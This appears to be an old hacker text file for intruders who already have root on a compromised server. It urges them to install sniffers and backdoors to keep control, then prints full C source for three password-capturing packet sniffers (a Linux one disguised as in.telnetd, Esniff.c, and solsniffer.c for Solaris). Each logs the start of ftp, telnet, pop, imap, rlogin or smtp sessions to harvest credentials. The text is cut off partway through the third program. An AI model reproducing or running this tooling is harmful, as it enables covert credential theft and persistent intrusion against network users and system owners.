What to do next ? --------------------------------- Confuzed ? You hacked a server, got root, got the passwd/shadow file ????? Dont know what to do next ? Really ? Well, if you really want to keep that server, try installing some "stuff"... Like, a sniffer here, a backdoor there.. and so on... Like you have a choice.. :) Remember ... You always have a choice, no matter how bad it looks... So, let's get back to our sheep.. :) So you want a sniffer.. yeah ? i dont think you really need Sniffit to do the job, so you might settle for a much portable sniffer... /* Linux Sniffer, modified by Phantom, so that it hides in memory...*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; #define CAPTLEN 512 #define TIMEOUT 30 #define TCPLOG "tcp.log" int openintf(char *d) { int fd; struct ifreq ifr; int s; fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > CAPTLEN) { fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) > (victim.start_time + TIMEOUT)) { fprintf(fp, "\n----- [Timed Out]\n"); clear_victim(); return 0; } if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; if(tcp->rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } if(tcp->fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s => ", hostlookup(ip->saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) { fprintf(fp, "\n"); t=0; } if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} if(t > 75) {t=0;fprintf(fp, "\n");} } } main(int argc, char **argv) { sprintf(argv[0],"%s","in.telnetd"); s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "at"); if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);} clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } void cleanup(int sig) { fprintf(fp, "Exiting...\n"); close(s); fclose(fp); exit(0); } another one: /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } /* solsniffer.c - v1.10 - Michael R. Widner (atreus, J.Galt) * * This is sunsniffer.c modified to run on dlpi systems, notably * solaris 2.x. The additions are rather verbose, but I'm really * too damn lazy to bother cleaning it up. * 4/26/94 - initial code. Had some serious hacks in the bufmod stuff. * 4/28/94 - v 1.0 fixed up the bufmod stuff a little, but still wrong. * 8/11/94 - v 1.1 ok, bufmod fixed. No more packet dropping. * Also fixed/added some command line options. * -sflt to filter smtp, ftp, login and telnet respectively. * -d x to set data limit; good for catching mail and stuff * going through firewalls. Like luser on my subnet does * telnet firewall.myorg.com, then from there does * telnet someplace.outside.mynet * * Uploaded by: an112467@anon.penet.fi */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* #define MAXDLBUF 8192 /* this is much too low -mrw */ #define MAXDLBUF 32768 /* This is much bigger than any packet */ #define MAXWAIT 15 #define MAXDLADDR 1024 /* workaround for bcopy, etc. */ #define bcopy(s1, s2, len) memcpy(s2, s1, len) #define index(s, c) strchr(s, c) #define rindex(s, c) strrchr(s, c) #define bzero(s, len) memset(s, 0, len) #define bcmp(s1, s2, len) (memcmp(s1, s2, len)!=0) /* * externs go here */ extern void sigalrm(); #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; long databuf[MAXDLBUF]; #define NIT_DEV "/dev/le" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; /* More ugly global stuff. */ int promisc = 1; /* promiscuous mode "on" by default */ int bufmod = 0; /* push buffer module, "off" by default */ int filter_flags=0; /* connections we'd like to fileter */ #define FILT_TELNET 1 #define FILT_FTP 2 #define FILT_LOGIN 4 #define FILT_SMTP 8 int maxbuflen=128; /* Define a new DATA LIMIT. Still max at MAXBUFLEN */ void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) /* I cranked this up. reduce it if you run out of mem. -mrw */ #define MAXBUFLEN (8192) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) struct in_addr ip; { struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } struct CREC *GET_NODE(Sip,SP,Dip,DP) struct in_addr Sip,Dip; register u_int SP,DP; { struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( ((TCPD == IPPORT_TELNET) && !(filter_flags & FILT_TELNET)) || ((TCPD == IPPORT_LOGINSERVER) && !(filter_flags & FILT_LOGIN)) || ((TCPD == IPPORT_FTP) && !(filter_flags & FILT_FTP)) || ((TCPD == IPPORT_SMTP) && !(filter_flags & FILT_SMTP)) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < maxbuflen ) { /* was MAXBUFLEN */ ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ err(fmt, a1, a2, a3, a4) char *fmt; char *a1, *a2, *a3, *a4; { (void) fprintf(stderr, fmt, a1, a2, a3, a4); (void) fprintf(stderr, "\n"); (void) exit(1); } static void sigalrm() { (void) err("sigalrm: TIMEOUT"); } strgetmsg(fd, ctlp, datap, flagsp, caller) int fd; struct strbuf *ctlp, *datap; int *flagsp; char *caller; { int rc; static char errmsg[80]; /* * Start timer. */ (void) signal(SIGALRM, sigalrm); if (alarm(MAXWAIT) < 0) { (void) sprintf(errmsg, "%s: alarm", caller); syserr(errmsg); } /* * Set flags argument and issue getmsg(). */ *flagsp = 0; if ((rc = getmsg(fd, ctlp, datap, flagsp)) < 0) { (void) sprintf(errmsg, "%s: getmsg", caller); syserr(errmsg); } /* * Stop timer. */ if (alarm(0) < 0) { (void) sprintf(errmsg, "%s: alarm", caller); syserr(errmsg); } /* * Check for MOREDATA and/or MORECTL. */ if ((rc & (MORECTL | MOREDATA)) == (MORECTL | MOREDATA)) err("%s: MORECTL|MOREDATA", caller); if (rc & MORECTL) err("%s: MORECTL", caller); if (rc & MOREDATA) err("%s: MOREDATA", caller); /* * Check for at least sizeof (long) control data portion. */ if (ctlp->len < sizeof (long)) err("getmsg: control portion length < sizeof (long): %d", ctlp->len); } expecting(prim, dlp) int prim; union DL_primitives *dlp; { if (dlp->dl_primitive != (u_long)prim) { err("unexpected dlprim error\n"); exit(1); } } strioctl(fd, cmd, timout, len, dp) int fd; int cmd; int timout; int len; char *dp; { struct strioctl sioc; int rc; sioc.ic_cmd = cmd; sioc.ic_timout = timout; sioc.ic_len = len; sioc.ic_dp = dp; rc = ioctl(fd, I_STR, &sioc); if (rc < 0) return (rc); else return (sioc.ic_len); } dlattachreq(fd, ppa) int fd; u_long ppa; { dl_attach_req_t attach_req; struct strbuf ctl; int flags; attach_req.dl_primitive = DL_ATTACH_REQ; attach_req.dl_ppa = ppa; ctl.maxlen = 0; ctl.len = sizeof (attach_req); ctl.buf = (char *) &attach_req; flags = 0; if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0) syserr("dlattachreq: putmsg"); } dlokack(fd, bufp) int fd; char *bufp; { union DL_primitives *dlp; struct strbuf ctl; int flags; ctl.maxlen = MAXDLBUF; ctl.len = 0; ctl.buf = bufp; strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlokack"); dlp = (union DL_primitives *) ctl.buf; expecting(DL_OK_ACK, dlp); if (ctl.len < sizeof (dl_ok_ack_t)) err("dlokack: response ctl.len too short: %d", ctl.len); if (flags != RS_HIPRI) err("dlokack: DL_OK_ACK was not M_PCPROTO"); if (ctl.len < sizeof (dl_ok_ack_t)) err("dlokack: short response ctl.len: %d", ctl.len); } dlbindreq(fd, sap, max_conind, service_mode, conn_mgmt, xidtest) int fd; u_long sap; u_long max_conind; u_long service_mode; u_long conn_mgmt; u_long xidtest; { dl_bind_req_t bind_req; struct strbuf ctl; int flags; bind_req.dl_primitive = DL_BIND_REQ; bind_req.dl_sap = sap; bind_req.dl_max_conind = max_conind; bind_req.dl_service_mode = service_mode; bind_req.dl_conn_mgmt = conn_mgmt; bind_req.dl_xidtest_flg = xidtest; ctl.maxlen = 0; ctl.len = sizeof (bind_req); ctl.buf = (char *) &bind_req; flags = 0; if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0) syserr("dlbindreq: putmsg"); } dlbindack(fd, bufp) int fd; char *bufp; { union DL_primitives *dlp; struct strbuf ctl; int flags; ctl.maxlen = MAXDLBUF; ctl.len = 0; ctl.buf = bufp; strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlbindack"); dlp = (union DL_primitives *) ctl.buf; expecting(DL_BIND_ACK, dlp); if (flags != RS_HIPRI) err("dlbindack: DL_OK_ACK was not M_PCPROTO"); if (ctl.len < sizeof (dl_bind_ack_t)) err("dlbindack: short response ctl.len: %d", ctl.len); } dlpromisconreq(fd, level) int fd; u_long level; { dl_promiscon_req_t promiscon_req; struct strbuf ctl; int flags; promiscon_req.dl_primitive = DL_PROMISCON_REQ; promiscon_req.dl_level = level; ctl.maxlen = 0; ctl.len = sizeof (promiscon_req); ctl.buf = (char *) &promiscon_req; flags = 0; if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0) syserr("dlpromiscon: putmsg"); } syserr(s) char *s; { (void) perror(s); exit(1); } do_it() { long buf[MAXDLBUF]; char *device; int ppa; int fd; int sap; struct strbuf data; int flags; int i; int c; int offset; int len; struct timeval t; u_int chunksize = 16 * 1024; struct sb_hdr *bp; char *p, *limp; int mrwtmp; /* temporary debugging crap */ device = "/dev/le"; ppa = 0; sap= 0x800; /* * Open the device. */ if ((fd = open(device, 2)) < 0) syserr(device); /* * Attach. */ dlattachreq(fd, ppa); dlokack(fd, buf); /* * Optionally enable promiscuous mode. */ if (promisc) { dlpromisconreq(fd, DL_PROMISC_PHYS); dlokack(fd, buf); } /* * Bind. */ dlbindreq(fd, sap, 0, DL_CLDLS, 0, 0); dlbindack(fd, buf); /* * Issue DLIOCRAW ioctl. */ if (strioctl(fd, DLIOCRAW, -1, 0, NULL) < 0) syserr("DLIOCRAW"); /* * Push and configure buffer module. */ if (bufmod) { if (ioctl(fd, I_PUSH, "bufmod") < 0) syserr("push bufmod"); t.tv_sec = 0; t.tv_usec = 500000; /* 0.5s */ if (strioctl(fd, SBIOCSTIME, -1, sizeof (struct timeval), &t) < 0) syserr("SBIOCSTIME"); if (strioctl(fd, SBIOCSCHUNK, -1, sizeof (u_int), &chunksize) < 0) syserr("SBIOCSCHUNK"); } /* * Flush the read side of the Stream. */ if (ioctl(fd, I_FLUSH, FLUSHR) < 0) syserr("I_FLUSH"); /* * Read packets. */ 